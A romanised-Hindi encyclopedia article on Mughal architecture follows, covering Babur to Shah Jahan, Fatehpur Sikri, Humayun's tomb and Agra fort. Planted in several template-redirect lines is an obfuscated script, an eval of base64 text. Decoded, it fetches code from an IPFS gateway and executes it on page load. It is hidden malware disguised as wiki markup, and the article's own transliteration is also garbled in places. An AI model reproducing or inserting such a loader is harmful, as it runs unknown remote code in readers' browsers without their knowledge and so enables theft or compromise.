मुग़लकालीन स्थापत्य एवं वास्तुकला
mugalakalin sthapaty evan vastukala
| |
| vivaran | mugalakalin vastukala mean faras, turki, madhy eshiya, gujarat, bangal, jaunapur adi sthanoan ki shailiyoan ka anokha mishran hua tha. |
| sthapaty visheshata | mugal kal mean vastukala ke kshetr mean pahali bar ‘akar’ evan dijain ki vividhata ka prayog tatha nirman ki samragi ke roop mean patthar ke alava palastar evan gachakari ka prayog kiya gaya. sajavat ke kshetr mean sangamaramar par javaharat se ki gayi j davat ka prayog bhi is kal ki ek visheshata thi. sajavat ke lie pattharoan ko kat kar phool patte, belaboote ko safed sangamaramar mean j da jata tha. is kal mean banane vale gumbadoan evan burjoan ko ‘kalash’ se sajaya jata tha. |
| sthapaty kal | 1525 ee. –1857 ee. lagabhag |
| pramukh shasak | babar, humayooan, sherashah soori, akabar, jahaangir, shahajahaan |
| pramukh imarat | tajamahal, humayooan ka maqabara, sikandara, buland daravaza, bibi ka maqabara, lal qila, panchamahal, jahaangiri mahal, etamaduddaula ka maqabara, jama masjid dilli adi |
| any janakari | parsi braun ne ‘mugal kal’ ko bharatiy vastukala ka grishm kal mana hai, jo prakash aur urvara ka pratik mana jata hai. smith ne mugalakalin vastukala ko kala ki rani kaha hai. |
dilli saltanat kal mean prachalit vastukala ki ‘bharatiy islami shaili’ ka vikas mugal kal mean hua. mugalakalin vastukala mean faras, turki, madhy eshiya, gujarat, bangal, jaunapur adi sthanoan ki shailiyoan ka anokha mishran hua tha. parsi braun ne ‘mugal kal’ ko bharatiy vastukala ka grishm kal mana hai, jo prakash aur urvara ka pratik mana jata hai. smith ne mugalakalin vastukala ko kala ki rani kaha hai. mugaloan ne bhavy mahaloan, qiloan, dvaroan, masjidoan, bavaliyoan adi ka nirman kiya. unhoanne bahate pani tatha favvaroan se susajjit kee bag lagavaye. vastav mean mahaloan tatha any vilas-bhavanoan mean bahate pani ka upayog mugaloan ki visheshata thi.
sthapaty kala
mugalakalin sthapaty kala ke vikas aur pragati ki arambhik kramabaddh parinati ‘fatehapur sikari’ adi nagaroan ke nirman mean aur charam parinati shahajahaan ke ‘shahajahaannabad’ nagar ke nirman mean dikhaee p dati hai. mugal kal mean vastukala ke kshetr mean pahali bar ‘akar’ evan dijain ki vividhata ka prayog tatha nirman ki samragi ke roop mean patthar ke alava palastar evan gachakari ka prayog kiya gaya. sajavat ke kshetr mean sangamaramar par javaharat se ki gayi j davat ka prayog bhi is kal ki ek visheshata thi. sajavat ke lie pattharoan ko kat kar phool patte, belaboote ko safed sangamaramar mean j da jata tha. is kal mean banane vale gumbadoan evan burjoan ko ‘kalash’ se sajaya jata tha.
babar
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| shasak | maqabara | maqabare ka chitr |
|---|---|---|
| babar | qabul | 50px|bag-e-babar |
| humayooan | dilli | 50px|humayooan ka maqabara, dilli |
| akabar | sikandara agara | 50px|sikandara agara |
| jahaangir | shahadara (lahaur) | 50px|jahaangir ka maqabara, lahaur, pakistan |
| shahajahaan | agara | 50px|tajamahal, agara |
| aurangazeb | aurangabad (daulatabad) | 30px|aurangazeb ka maqabara |
babar ne bharat mean apane alpakali shasan mean vastukala mean vishesh ruchi dikhaee. tatkalin bharat mean hue nirman kary hindoo shaili mean nirmit gvaliyar ke manasianh evan vikramajit sianh ke mahaloan se sarvadhik prabhavit haian. ‘babaranama’ namak sansmaran mean kahi gayi babar ki batoan se lagata hai ki, tatkalin sthaniy vastukala mean santulan ya sudaulapan ka abhav tha. atah babar ne apane nirman kary mean is bat ka vishesh dhyan rakha hai ki, usaka nirman samanjasyapoorn aur poornatah jyamitiy ho. babar svayan bagoan ka bahut shaukin tha aur usane agara tatha lahaur ke nazadik kee bag bhi lagavae. jaise kashmir ka nishat bag, lahaur ka shalimar bag tatha panjab ki taraee mean pianjor bag, aj bhi dekhe ja sakate haian. bharatiy yuddhoan se phurasat milane par babar ne apane aram ke lie agara mean jyamitiy adhar par 'aram bag' ka nirman karavaya. usake jyamitiy karyoan mean any haian, ‘panipat ke 'kabuli bag' mean nirmit ek smarak masjid (1524 ee.), ruhelakhand ke sambhal namak sthan par nirmit ‘jami masjid’ (1529 ee.), agara ke purane lodi ke qile ke bhitar ki masjid adi. panipat ke masjid ki visheshata usaka eetoan dvara kiya gaya nirman kary tha.
humayooan
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rajanitik paristhitiyoan ki pratikoolata ke karan humayooan vastukala ke kshetr mean kuchh khas nahian kar saka. usane 1533 ee. mean ‘dinapanah’ (dharm ka sharanasthal) namak nagar ki nianv dali. is nagar jise ‘purana qila’ ke nam se jana jata hai, ki divarean ro di se nirmit thian. isake atirikt humayooan ki do masjidean, jo fatehabad mean 1540 ee. mean banaee gee thian, farasi shaili mean nirmit haian.
sherashah soori
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sherashah ka laghu samay ka shasan madhyakalin bharat ki vastukala ke kshetr mean ‘sankraman kal’ mana jata hai. sherashah ne vastukala ko nayi disha di. usane dilli par qabza kar ‘sheragadh’ ya ‘dilli sherashahi’ ki nianv dali. sasaram (bihar) mean usaka prasiddh maqabara tatha purana qilla, dilli mean usaki masjid vastukala ke ashcharyajanak namoone haian. ye mugal-poorvakal ke vastukala ke charmoantkarsh tatha nee shaili ke pararanmbhik namoone haian. aj is nagar ke avasheshoan mean ‘lal daravaza’ evan ‘khooni daravaza’ hi dekhane ko milate haian. sherashah ne 'din panah' ko tu davakar usake malave par ‘purane qile’ ka nirman karavaya. 1542 ee. mean sherashah ne is qile ke andar ‘qila-e-kuhana’ nam ki masjid ka nirman karavaya. samay ke thape doan ko sahate hue is samay is qile ka ek bhag hi shesh hai. bihar ke rohatas namak sthan par sherashah ne ek qile ka nirman karavaya.
[[chitr:Shershah Tomb2.jpg|thumb|left|250px|sherashah soori ka maqabara, sasaram, bihar]]
sherashah ka maqabara jhil ke andar ek ooanche tile par nirmit hindoo-muslim vastukala ka shreshth namoona hai. maqabara bahar se muslim prabhav evan andar se hindoo prabhav mean nirmit hai. parsi braun ne ise sampoorn uttar bharat ki sarvottam kriti kaha hai. ‘qila-e-kuhana’ masjid ke parisar mean ek ‘sheramandal’ nam ka ashtabhuji tin manjila mandap nirmit hai. ‘qila-e-kuhana’ masjid ko uttar bharat ke bhavanoan mean mahattvapoorn sthan prapt hai. sherashah ne rohatasagadh ke durg evan kannauj ke sthan par ‘sherasoor’ namak nagar basaya. 1541 ee. mean usane pataliputr ko ‘patana’ ke nam se punah sthapit kiya. sherashah ne dilli mean ‘langar’ ki sthapana ki, jahaan par sambhavatah 500 tola sona har din vyay kiya jata tha.
akabar
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akabar ke shasan kal ke nirman karyoan mean hindoo-muslim shailiyoan ka vyapak samanvay dikhata hai. abul fazal ne akabar ke vishay mean kaha hai ki, ‘samrat sundar imaratoan ki yojana banata hai aur apane mastishk evan hriday ke vichar se patthar evan gare ka roop de deta hai. akabar pahala mugal samrat tha, jisake pas b de paiman par nirman karavane ke lie samay aur sadhan the. usane kee qiloan ka nirman kiya, jisamean sabase prasiddh agare ka qila hai. lal patthar se bane is qile mean kee bhavy dvar haian. qila nirman ka charmoantkarsh shahajahaan dvara nirmit dilli ka lal qila hai.
1572 mean akabar ne agara se 36 kilomitar door fatehapur sikari mean qilenuma mahal ka nirman arambh kiya. yah ath varshaan mean poora hua. paha di par base is mahal mean ek b di kritrim jhil bhi thi. isake alava isamean gujarat tatha bangal shaili mean bane kee bhavan the. inamean gahari guphaean, jharokhe tatha chhatariyaan thi. havakhori ke lie banae ge panchamahal ki sapat chhat ko sahara dene ke lie vibhinn stambhoan, jo vibhinn prakar ke mandiroan ke nirman mean prayog kie jate the, ka istemal kiya gaya tha. rajapooti patni ya patniyoan ke lie bane mahal sabase adhik gujarat shaili mean haian. is tarah ke bhavanoan ka nirman agara ke qile mean bhi hua tha. yadyapi inamean se kuchh hi bache haian. akabar agara aur phatehapur sikari donoan jagahoan ke kam mean vyaktigat ruchi leta tha. divaroan tatha chhatoan ki shobha badhane ke lie istemal kie ge chamakile nile pattharoan mean eerani ya madhy eshiya ka prabhav dekha ja sakata hai. fatehapur sikari ka sabase prabhavashali vahaan ki masjid tatha buland daravaza hai, jo akabar ne apani gujarat vijay ke smarak ke roop me banavaya tha. daravaza adhe gumbad ki shaili mean bana hua hai. gumbad ka adha hissa daravaze ke bahar vale hisse ke oopar hai tatha usake pichhe chhote-chhote daravaze haian. yah shaili eeran se li gee thi aur bad ke mugal bhavanoan mean am roop se prayog ki jane lagi.
jahaangir tatha shahajahaan
mugal samrajy ke vistar ke sath mugal vastukala bhi apane shikhar par pahuanch gee. jahaangir ke shasanakal ke ant tak aise bhavanoan ka nirman arambh ho gaya tha, jo poori tarah sangamaramar ke bane the aur jinaki divaroan par qimati pattharoan ki naqqashi ki gee thi. yah shaili shahajahaan ke samay aur bhi lokapriy ho gayi. shahajahaan ne ise tajamahal, jo nirman kala ka ratn mana jata hai, mean b de paimane par prayog kiya. tajamahal mean mugaloan dvara vikasit vastukala ki sabhi shailiyoan ka sundar samanvay hai. akabar ke shasanakal ke prarambh mean dilli mean nirmit humayooan ka maqabara, jisamean sangamaramar ka vishal gumbad hai, taj ka poorvagami mana ja sakata hai. is bhavan ki ek doosari visheshata do gumbadoan ka prayog hai. isamean ek b de gumbad ke andar ek chhota gumbad bhi bana hua hai. taj ki pramukh visheshata usaka vishal gumbad tatha mukhy bhavan ke chabootare ke kinaroan par kh di char minarean haian. isamean sajavat ka kam bahut kam hai lekin sangamaramar ke sundar jharokhoan, j de hue qimati pattharoan tatha chhatariyoan se isaki sundarata bahut badh gayi hai. isake alava isake charoan taraf lagae ge, susajjit bag se yah aur prabhavashali dikhata hai. shahajahaan ke shasanakal mean masjid nirman kala bhi apane shikhar par thi. do sabase sundar masjidean haian, agara ke qile ki moti masjid, jo taj ki tarah poori sangamaramar ki bani hai tatha dilli ki jama masjid, jo lal patthar ki hai. jama masjid ki visheshataean usaka vishal dvar, ooanchi minarean tatha gumbad haian.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
aurangazeb
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yadyapi mitavyayi aurangazeb ne bahut bhavanoan ka nirman nahian kiya, tathapi hindoo, turk tatha eerani shailiyoan ke samanvay par adharit mugal vastukala ki parampara athaharavian tatha unnasavian shatabdi ke arambh tak bina rok jari rahi. mugal parampara ne kee prantiy sthaniy rajaoan ke qiloan tatha mahaloan ki vastukala ko prabhavit kiya. amritasar mean sikkhoan ka svarn manndir, jo is kal mean kee bar, vah bhi gumbad tatha meharab ke siddhaant par nirmit hua tha, aur isase mugal vastukala ki parampara ki kee visheshataean prayog mean laee geean.
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humayooan ka maqabara
yah ek aisa nirman hai, jisane sthapaty kala ko ek navin disha pradan ki. yah maqabara apani parampara ka bana pahala bhavan hai. isaka nirman kary akabar ki sauteli maan haji begam ki dekh-rekh mean 1564 ee. mean hua. [[chitr:Humayun-Tomb-Delhi-23.jpg|thumb|300px|humayooan ka maqabara, dilli]] is maqabare ka khaka eeran ke mukhy vastukar ‘mirak mirza giyas’ ne taiyar kiya tha. isi ke netritv mean maqabare ka nirman kary poora hua. yahi karan hai ki, maqabare mean eerani ya farasi prabhav dikhaee deta hai. maqabara charoan taraf se jyamitiy chaturbhuj akara ke udyan se ghira hai. eerani prabhav ke sath-sath is maqabare mean hindoo shaili ki ‘pancharath’ se bhi prerana li gee hai. pradhan maqabara 22 phut ooanche patthar ke chabootarean par nirmit hai. pashchim disha mean maqabare ka mukhy daravaza hai. safed sangamaramar se nirmit maqabare ki gumbad hi isaki mukhy visheshata hai. ubhari huee dohari gumbad vala yah maqabara bharat mean bana pahala udaharan hai. maqabara tarashe gaye lal rang ke pattharoan dvar nirmit hai. udyanoan mean nirmit maqabaroan ka ayojan pratikatmak roop mean karate hue maqabaroan mean daphanaye gaye vyaktiyoan ke daivi svaroop ki or sanket kiya gaya hai. is prakar ke bhavanoan ki parampara mean pahala bhavan humayooan ka maqabara hai. is parampara ki parinati tajamahal mean huee. humayooan ke maqabare ko ‘tajamahal ka poorvagami’ bhi kahate hai. ise ek 'vafadar bibi ki mahaboobana peshakash' kaha jata hai. akabar ne nirman kary par adhik dhan apavyay n kar aisi imaratoan ka nirman karavaya, jo apani sadagi se hi sundar lagati thi. akabar ne ‘meharabi’ evan ‘shahatiri’ shaili ka saman anupat mean prayog kiya. akabar ne apane nirman karyoan mean lal patthar ka prayog kiya. akabar ke grahanashil svabhav ke karan usake nirman kary mean farasi shaili mean hindoo evan bauddh paranparaoan ka adhik sammishran hua.
agara ka qila
[[chitr:Red-Fort-Agra.jpg|thumb|250px|left|lal qila, agara]] agara mean tajamahal se tho di door par bana mahathvapoorn mugal shmarak hai, jo agara ka lal qila nam se vikhyat hai. yah shaktishali qila lal saiand shton se bana hua haih. yah 2.5 kilomitar lamhbi divar se ghira hua hai. yah mugal shasakoan ka shahi shahar kaha jata hai. is qile ki bahari mazaboot divarean apane aandar ek shvarg ko chhupae haian. is qile mean anek vishishht bhavan haian. 1566 ee. mean akabar ke mukhy vastukar kasim khaan ke netritv mean is qile ka nirman kary prarambh hua. lagabhag 15 varshoan tak lagatar nirman kary evan 35 lakh rupaye kharch ke bad yah qila banakar taiyar hua. yamuna nadi ke kinare yah qila lagabhag 1-1/2 mil mean phaila hua hai. qile ki meharaboan par akabar ne quran ki ayatoan ke sthan par pashu-pakshi, phool-pattoan ki akritiyoan ko khudavaya hai, jo sambhavatah is qile ki ek visheshata hai. 70 phut ooanchi tarashe gaye lal patthar se nirmit qile ki divaroan mean kahian bhi ek bal ke bhi ghusane ki jagah shesh nahian hai. qile ke pashchim mean sthit ‘dilli daravaze’ ka nirman 1566 ee. mean kiya gaya. parsi braun ne daravaze ke bare mean kaha hai ki, “niahsandeh hi vah bharat ke sabase adhik prabhavashali daravazoan mean se hai.” qile ka doosara daravaza amar sianh daravaza ke nam se jana jata hai. qile ke andar akabar ne lagabhag aise 500 nirman karavaye haian, jinamean lal patthar ka prayog hua hai, sath hi bangal evan gujarat ki nirman shaili ka bhi prayog hua hai.
jahaangiri mahal
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gvaliyar ke raja manasianh ke mahal ki nakal kar agara ke qile mean bana ‘jahaangiri mahal’ akabar ka sarvotkrisht nirman kary hai. yah mahal 249 phut lamba evan 260 phut chau da hai. mahal ke charoan kone mean 4 b di chhatariyaan haian. mahal mean pravesh hetu banaya gaya daravaza noankadar meharab ka hai. mahal ke madhy mean 17 phut ka ayatakar aangan bana hai. poornatah hindoo shaili mean bane is mahal mean sangamaramar ka alp prayog kiya gaya hai. k diyaan tatha to de ka prayog isaki visheshata hai. jahaangiri mahal ke samane l aaun mean pyale ke akar ka ek hauz nirmit hai, jis par farasi bhasha ayatean khudi haian. jahaangiri mahal ke dahini or akabari mahal ka nirman hua tha, jisake khandaharoan se nirman ki yojana ka ahasas hota hai. jahaangiri mahal ki sundarata ka akabari mahal mean abhav dikhata hai.
fatehapur sikari
pragaitihasik kal se hi fatehapur sikari manav basti ke nam se jani jati hai. vikram sanvat 1010-1067 eesavi ke ek shilalekh mean is jagah ka nam "sekriky" milata hai. sanh 1527 mean babar khanava ke yuddh mean fateh ke bad yahaan aya aur apane sansmaran mean is jagah ko sikari kaha hai. [[chitr:Fatehpur-Sikri-Agra-13.jpg|thumb|250px|fatehapur sikari, agara]] usake dvara yahaan ek jalamahal aur bavali ke nirman ka bhi ullekh hai. akabar ki kee raniyaan aur begam thian, kiantu unamean se kisi se bhi putr nahian hua tha. akabar piroan evan fakiroan se putr prapti ke lie duaean maangata phirata tha. shekh salim chishti ne akabar ko dua di. fakir ne akabar se kaha, "bachcha too hamara iantazam kar de, teri murad poori hogi."
akabar ne salim (jahaangir) ke janm ke bad 1571 ee. mean shekh salim chishti ke prati adar prakat karane ke udeshy se fatehapur sikari ke nirman ka adesh diya. 1570 mean akabar ne gujarat ko jitakar is sthan ka nam ‘fatehapur sikari’ (vijayi nagari) rakha. 1571 ee. mean ise mugal samrajy ki rajadhani banaya gaya. yah nagar 7 mil lambe paha di kshetr me phaila hua hai. isamean bane 9 pravesh dvaroan mean agara, dilli, ajamer, gvaliyar evan dhaulapur pramukh haian. fatehapur sikari nagar akabar ki us rajaniti ka paradarshak vastukalatmak pratibianb hai, jisake dvara vah apane vishal samrajy ke vividh tatvoan ke madhy ekata sthapit karana chahata tha. fargyusan ne kaha hai ki, ‘fatehapur sikari patthar mean prem tatha ek mahanh vyakti ke mastishk ki abhivyakti hai.’ fatehapur sikari nagar ke nirman ka shrey vastukala visheshajn bahauddin ko milata hai. sachamuch fatehapur sikari ek mahanh samriddhashali tatha shaktishali shasak ke vyaktitv ka pratik hai. smith ke anusar- 'fatehapur sikari jaisi vastukala ki kriti n to atit mean huee hai aur n bhavishy mean hogi'.
divan-e-am
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ooanche adhar par laukik prayog hetu nirmit 'divan-e-am' mean khamboan par nikali huee baramadoan ki chhat thi. yah ek ayatakar kaksh hai. 'divan-e-am' mean manasabadaroan evan unake naukaroan ke lie meharabi baramade bane haian. 'divan-e-am' mean akabar ke lie ek sianhasan bana hai. isake baramade mean lal patthar se bana akabar ka ‘daphtarakhana’ hai. 'divan-e-am' mean akabar apane mantriyoan se salah-mashavira karata tha.
divan-e-khas
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bauddh evan hindoo kala shaili ke prabhav vala ‘divan-e-khas’ 47 phut ka ek vargakar bhavan haian. bhavan ke madhy mean bane ooanche chabootare par baithakar badashah akabar apane karmachariyoan ki bahas ko sunata tha. 'divan-e-khas' hi akabar ka prasiddh ibadatakhana hai, jahaan pratyek brihaspativar ki sandhya ko akabar vibhinn dharmoan ke dharmacharyoan se charchaean karata tha. 'divan-e-khas' ke kaksh ke madhy mean sthit stambh par apas mean ju de hue phool ki pankhu diyoan ki tarah ke 36 laharadar breket haian, jinake oopar gol patthar ka manch jaisa nirman hua hai. ‘havel’ isaki tulana vishnu stambh v vishv vriksh se karate haian. 'divan-e-khas' ke uttar mean ‘koshagar’ ke nirman evan pashchim mean ek vargakar chandoba sa ‘jyotishi ki baithak’ ka nirman kiya gaya hai. parsi braun ke anusar- 'akabar ne jyotishi ki baithak mean apane pagalapan ya sanakipan ka pradarshan kiya hai'.
panchamahal
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
piramid akar mean bani is paanch manzil ki imarat ko ‘hava mahal’ bhi kaha jata hai. yah bhavan nalanda mean nirmit bauddh viharoan se prerit lagate haian. niche se oopar ki or jane par manjilean kramashah chhoti hoti gee haian. mahal ke khamboan par phool-pattiyaan, rudraksh ke danoan se sundar sajavat ki gee hai. pahali manzil ke b de hal mean 48 khambhe nirmit haian, jin par shesh manjiloan ka bhar hai. akabar ke is nirman kary mean bauddh viharoan evan hindoo dharm ka prabhav spashtatah dikhaee p data hai.
turki sultan ki kothi
yah ek manzil ki atyadhik akarshak evan chhoti imarat hai. is imarat ka nirman sambhavat: 'rukkaiya begam' ya phir 'salima begam' ke lie kiya gaya tha. imarat ke andar ki divaroan par pe d-paudhoan, pashu-pakshiyoan ki chitrakari ki gayi hai. imarat ke alankaran mean kashthakala ka prabhav dikhata hai. parsi braun ne ise ‘kalatmak ratn‘ tatha ‘sthapaty kala ka moti‘ kaha hai.
khas mahal
lal patthar evan safed sangamaramar ke sanyog se bani is do manjili imarat ko akabar ke vyaktigat avasagrih ke roop mean prayog kiya jata tha. mahal ke charoan konoan par 4 chhatariyoan ka nirman kiya gaya tha. divaroan mean jaliyaan lagi thian. mahal ke dakshin mean shayanagar tha. jisamean 4 daravaze lage the. mahal ke oopari hisse mean ‘jharokha darshan' ki vyavastha ki gee thi.
jodhabaee ka mahal
fatehapur sikari mean bane sabhi bhavanoan ke akar mean yah mahal sabase b da hai. yah mahal 320 phut lamba, 215 phut ooancha hai. is mahal mean ki gayi sajavat dakshin ke mandiroan se prabhavit hai. isamean gujarat ke karigaroan ka prabhav dikhaee p data hai. mahal ke uttar mean grishm vilas evan dakshin mean sharad vilas ka nirman hua hai. is mahal mean lage khambhoan ke shahatir evan unaki ghantiyoan ki saankaroan jaisi um di dijainean poornatah hindoo madiroan jaisi hai. jodhabaee ke mahal ke samip sthit ‘mariyam ki kothi' ek chhoti imarat haian. sultan ke mahal ki prerana panjab ke kashth nirman se li gayi hai.
birabal ka mahal
mariyam ke mahal ki shaili par nirmit is mahal mean do manzil par sundar chapate akar ke gumbad evan barasatiyoan par piramid ke akar ki chhatean haian. mahal ke chhajje koshthakoan par adharit haian. chhajjoan mean koshthakoan ka prayog is imarat ki visheshata hai. fatehapur sikari ke any nimarn kary the- 'shahi astabal', 'saray', 'hiran minar', abul fazal bhavan adi.
jama masjid
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
makka ki prasiddh masjid se prerana grahan kar banaee gee is masjid ka ayatakar kshetr 542 phut lamba evan 438 phut chau da hai. masjid ke dakshin mean buland daravaza, madhy mean shekh salim chishti ka maqabara, uttar mean islam khaan ka maqabara nirmit hai. akabar ne 1582 ee़., mean ‘din-e-ilahi' dharm ki ghoshana yahian se ki thi. masjid ke oopar bane tin gumbadoan mean bich ka gumbad sarvadhik b da hai. parsi braun ne is sambandh mean kaha hai ki, ‘fatehapur sikari ki prabhavashali kritiyoan mean niahsandeh jama masjid sarvotkrisht upalabdhi hai'. fargyusan ne isako ‘patthar mean roomani katha' kaha hai.
buland daravaza
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
is daravaze ka nirman samrat akabar ne gujarat vijay ke upalakshy mean jama masjid ke dakshini dvar par karavaya tha. yah daravaza 134 phut ooancha hai. isake nirman mean lal rang ke balua patthar ka prayog kiya gaya hai. zamin ki satah se is daravaze ki ooanchaee 176 phut hai. daravaze ki mahattvapoorn visheshata isaka meharabi marg hai. ise akabar ki dakshini vijay ki smriti mean banaya gaya bhi mana jata hai. daravaze par likhe lekh dvara akabar manav samaj ko vishvas, bhav evan bhakti ka sandesh deta hai.
shekh salim chishti ka maqabara
jama masjid ke ahate mean bane is maqabare ka nirman kary 1571 ee. mean prarambh hua. yah vargakar maqabara charoan or se 25 phut ooancha hai. lal evan balua patthar se is maqabare ko banaya gaya hai. kalantar mean jahaangir ne balua patthar ke sthan par sangamaramar lagavaya. maqabare ke sarvadhik akarshak bhag isaki dyodhi (chaukhat) evan stambh haian. maqabare ki pharsh rang-birangi hai. parsi braun ne maqabare ke bare mean kaha ki, ‘isaki shaili islamian shaili ki bauddhikata tatha gambhiry ki svatantr kalpana ka parichay pradan karati hai.‘
islam khaan ka maqabara
shekh salim ke maqabare ke dakshin mean sthit evan lal patthar se nirmit islam khaan ke maqabare ki visheshata thi ki, isamean pahali bar 'varnakar meharab' ka prayog kiya gaya tha.
akabar ke any nirman kary
in imaratoan ke atirikt bhi fatehapur sikari mean anek nirman kary akabar dvara karavaye gaye the. fargyusan ne fatehapur sikari mahal ke bare mean likha hai ki, 'sab milakar fatehapur sikari ka mahal pashan ka ek aisa romaans hai, jaisa ki kahian bahut kam milega aur yah us mahanh vyakti ke jisane ki ise banavaya tha, mastishk ki aisi pratichchhaya hai, jaisi ki kisi any srot se saralata se upalabdh nahian ho saki. 1570 se 1585 ee tak fatehapur sikari mugal samrajy ki rajadhani rahi, isake bad ujabek akraman ka samana karane ke lie akabar ko lahaur jana p da, jahaan par usane ‘ lahaur ka qila banavaya. yah qila agara mean nirmit jahaangiri mahal se prerit lagata hai, antar matr itana hai ki, qile ke koshthakoan par hathi evan sihoan ki akriti ukeri gee hai. navambar, 1583 ee. mean akabar dvara banavaya gaya 'ilahabad ka qila' apane 40 stambhoan ke karan vishalata ka ahasas karata hai. qile ke nirman mean lal balua patthar ka prayog hua hai. akabar ne 1581 ee. mean 'atak ka qila' banavaya tha. khandahar ke roop mean bacha yah qila samarik drishtikon se mahattvapoorn hai. saraansh mean kaha ja sakata hai ki, akabar kalin vastukala ka vikas hindoo shaili ke akaroan ,dharmik sanketoan aur visheshataoan se prabhavit hua. lekin isaka tatpary yah nahian ki, vah islami chapakar shaili ki apeksha hinduoan ki shahatiri shaili ko adhik pasand karata tha. akabar ki vastukala mean mugal kal ke poorv ki shahi shaili tatha gujarat, malava aur chanderi ki aanchalik shailiyoan ka sanyojan hai.
jahaangir ka yogadan
vastukala ke kshetr mean jahaangir ne bahut adhik ruchi nahian dikhaee. usane bag-bagichoan evan chitrakari ko adhik mahatv diya. isalie kuchh itihasakaroan ne jahaangir ke kal ko sthapaty kala ka vishram kal kaha hai. jahaangir ke samay ke kuchh mahattvapoorn nirman kary nimnalikhit haian-
akabar ka maqabara
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sikandara agara mean is maqabare ki yojana svayan akabar ne banaee thi, parantu 1612 ee. mean antim roop se isaka nirman kary jahaangir ne poora karavaya. piramid ke akar mean bane is panchamanjila maqabare ki sabase oopari manzil ka nirman sangamaramar dvara jahaangir ne karavaya tha. maqabare ka pravesh dvar balua patthar se nirmit hai. maqabare ke charoan konoan par ashtabhujiy sundar paanch manzil ki 100 phut ooanchi minar haian. maqabare ki chhat ke bich mean sangamaramar ka ek sundar mandap hai. maqabare mean j daoo sangamaramar, rangin tails evan anek prakar ke rangoan ka prayog hua hai.
etamaduddaula ka maqabara
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
[[chitr:Itmad-Ud-Daulah-Tomb-Agra.jpg|thumb|250px|etamaduddaula ka maqabara, agara]] parsi braun ke anusar, ‘agara mean yamuna nadi ke tat par sthit etamaduddaula ka maqabara akabar evan shahajahaan ki shailiyoan ke madhy ek k di hai. is maqabare ka nirman 1626 ee. mean noorajahaan ne karavaya. mugalakalin vastukala ke antargat nirmit yah pratham aisi imarat hai, jo poorn roop se bedag safed sangamaramar se nirmit hai. sarvapratham isi imarat mean ‘pitradura’ nam ka j daoo kam kiya gaya. maqabare ke andar sone evan any qimati ratnoan se j davat ka kary kiya gaya hai. j davat ke kary ka ek pahale ka namoona udayapur ke 'golamandal mandir' mean paya jata hai. maqabare ke andar nirmit etamaduddaula evan usaki patni ki qabrean pile rang ke qimati patthar se nirmit hai. maqabare ki divaroan mean sangamaramar ki sundar jaliyoan ka prayog kiya gaya hai. vastukala ke visheshajn ise tajamahal ke atirikt any mugalakalin imaratoan mean shreshth manate haian.
mariyam uj-jamani ka maqabara
yah maqabara sikandara mean akabar ke maqabare se 2 phalaang ki doori par sthit hai. maqabare mean nirmit gumbad prarambhik mugal shaili ka pratik hai. is maqabare ka nirman lal patthar evan eetoan se hua hai. 45 phut ke vargakar kshetr mean sthit is maqabare ki ooanchaee lagabhag 39 phut hai. maqabare ka madhy bhag safed sangamaramar se nirmit hai. isake atirikt jahaangir ke samay mean abdurrahim khanakhana ke maqabare ka nirman eerani shaili mean hua hai.
shahajahaan ka yogadan
shahajahaan ka kal safed sangamaramar ke prayog ka charamotkarsh kal mana jata hai. is samay sangamaramar jodhapur ke ‘makarana’ namak sthan se milata tha, jo vrittakar kataee ke lie adhik upayukt tha. naqqashi yukt ya parnil meharabean, bangali shaili ke mu de hue kangoore, jangale ke khambhe adi shahajahaan ke kal ki visheshataean haian. akabar ki imaratoan ki tulana mean shahajahaan ki imaratean chamak-damak evan maulikata mean ghatiya haian, parantu ativyayapoorn pradarshan evan samriddh aur kaushalapoorn sajavat mean ve badhi huee haian, jisase shahajahaan kal ki vastukala ek adhik b de paimane par ratnoan ke sajane ki kala ban jati hai. shahajahaan ke samay nirmit kuchh pramukh imaratean nimnalikhit haian-
divan-e-am
